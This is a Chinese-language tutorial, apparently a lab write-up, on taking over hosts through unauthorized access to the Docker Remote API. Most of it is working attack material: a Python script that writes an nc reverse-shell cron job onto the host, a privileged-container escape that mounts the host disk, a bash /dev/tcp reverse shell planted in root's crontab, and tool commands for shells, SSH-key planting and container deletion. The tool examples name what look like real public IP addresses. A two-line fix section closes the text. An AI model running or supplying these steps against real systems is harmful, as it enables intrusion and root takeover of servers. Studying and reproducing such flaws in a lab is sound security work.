一、Docker介绍

Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker。

二、Docker API 未授权访问介绍

Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。
存在问题的版本分别为 1.3 和 1.6
因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。

三、靶场搭建

靶机: ubuntu IP: 192.168.241.142
攻击机: kali IP: 192.168.241.128

直接使用 vluhub 环境了

cd /vulhub/docker/unauthorized-rce
docker-compose build
docker-compose up -d

Docker API 未授权访问 getshell——漏洞复现_漏洞复现

四、漏洞复现

直接输入地址 http://your-ip:2375/version ;若能访问,证明存在未授权访问漏洞。

Docker API 未授权访问 getshell——漏洞复现_ubuntu_02

4.1 第一种反弹shell方法

在kali上安装docker环境,安装不成功的话,请修改更新源即可

apt-get install docker docker-compose
service docker start

接下来攻击python脚本内容 docker-hack.py

import docker

client = docker.DockerClient(base_url='http://192.168.X.X:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.X.X 1111 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

#意思是:使用Docker随意启动一个容器,并将宿主机的 /etc 目录挂载到容器中,便可以任意读写文件了。可以将命令写入 crontab 配置文件,进行反弹shell。

然后在kali上执行 python 脚本反弹Shell给Kali主机的1111端口。

python3 docker-hack.py

Docker API 未授权访问 getshell——漏洞复现_容器_03

执行完脚本,耐心等待一会才会反弹shell到kali主机,大约一分多钟时间。

注意:此python脚本针对 centos系统可以反弹shell,ubuntu系统不反弹

4.2 第二种getshell方法

因为docker 有远程连接命令,由于2375端口暴露,可未授权访问,所以现在可以在kali上通过远程方式连接doker

docker -H tcp://192.168.241.142:2375 ps
docker -H tcp://192.168.241.142:2375 images

Docker API 未授权访问 getshell——漏洞复现_ubuntu_04


链接进去之后,发现没有镜像文件,那么去官方下载一个镜像文件 alpine

docker -H tcp://192.168.241.142:2375 pull alpine

很快就会下载好

Docker API 未授权访问 getshell——漏洞复现_漏洞复现_05


接下来启动容器,并进入 alpine 容器

docker -H tcp://192.168.241.142:2375 images
docker -H tcp://192.168.241.142:2375 run -it --privileged alpine /bin/sh

#在kali中启动一个有交互的shell,并且是特权镜像
#当操作者执行docker run —privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。

Docker API 未授权访问 getshell——漏洞复现_docker_06


进入容器后,使用fdisk -l命令查看磁盘文件

注意:在特权模式下,逃逸的方式很多,比如:直接在容器内部挂载宿主机磁盘,然后切换根目录。

Docker API 未授权访问 getshell——漏洞复现_python_07


从返回的type信息中可以判断出,/dev/sda5是主分区,那么接下里直接在容器内部挂载宿主机磁盘

新建一个目录:mkdir /wxiaoge
挂在磁盘到新建目录:mount /dev/sda5 /wxiaoge
进入目录:cd wxiaoge/
新建文件:touch wxiaoge.txt

Docker API 未授权访问 getshell——漏洞复现_容器_08


接下里看一下靶机Ubuntu中确实创建了 wxiaoge.txt 文件,docker逃逸成功

Docker API 未授权访问 getshell——漏洞复现_python_09


接下来可以反弹主机shell

创建 wxiaoge.sh 文件

vi wxiaoge.sh

Docker API 未授权访问 getshell——漏洞复现_容器_10


写入反弹 shell

Docker API 未授权访问 getshell——漏洞复现_ubuntu_11

#!/bin/bash
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
bash -c "bash -i >&/dev/tcp/192.168.241.128/6666 0>&1"

之后给 wxiaoge.sh 添加执行权限,并且写入到定时任务中

Docker API 未授权访问 getshell——漏洞复现_python_12

chmod +x wxiaoge.sh 
echo '*/1 * * * * /wxiaoge.sh' >> /wxiaoge/var/spool/cron/crontabs/root #每分钟执行一次wxiaoge.sh 文件

kali打开监听端口

Docker API 未授权访问 getshell——漏洞复现_容器_13


一分钟后成功返回 shell

Docker API 未授权访问 getshell——漏洞复现_漏洞复现_14

4.3 Docker API 未授权访问漏洞检测与getshell工具介绍

Docker API 未授权访问 getshell——漏洞复现_docker_15

# docker_api_vul
docker 未授权访问漏洞利用脚本
##安装类库
pip install -r requirements.txt

##查看运行的容器

python dockerRemoteApiGetRootShell.py -h 139.217.25.172 -p 2375

##查看所有的容器

python dockerRemoteApiGetRootShell.py -h 139.217.25.172 -p 2375 -a

##查看所有镜像

python dockerRemoteApiGetRootShell.py -h 139.217.25.172 -p 2375 -l

##查看端口映射

python dockerRemoteApiGetRootShell.py -h 139.217.25.172 -p 2375 -L

##写计划任务(centos,redhat等,加-u参数用于ubuntu等)

python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -C -i 镜像名 -H 反弹ip -P 反弹端口
python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -C -u -i 镜像名 -H 反弹ip -P 反弹端口

##写sshkey(自行修改脚本的中公钥)

python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -C -i 镜像名 -k

##在容器中执行命令

python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -e "id" -I 容器id

##删除容器

python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -c -I 容器id

##修改client api版本

python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -v 1.22

##查看服务端api版本

python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -V

五、漏洞修复

1.关闭2375端口 (尤其是公网情况下一定要禁用此端口)
2.在防火墙上配置禁止外网访问2375端口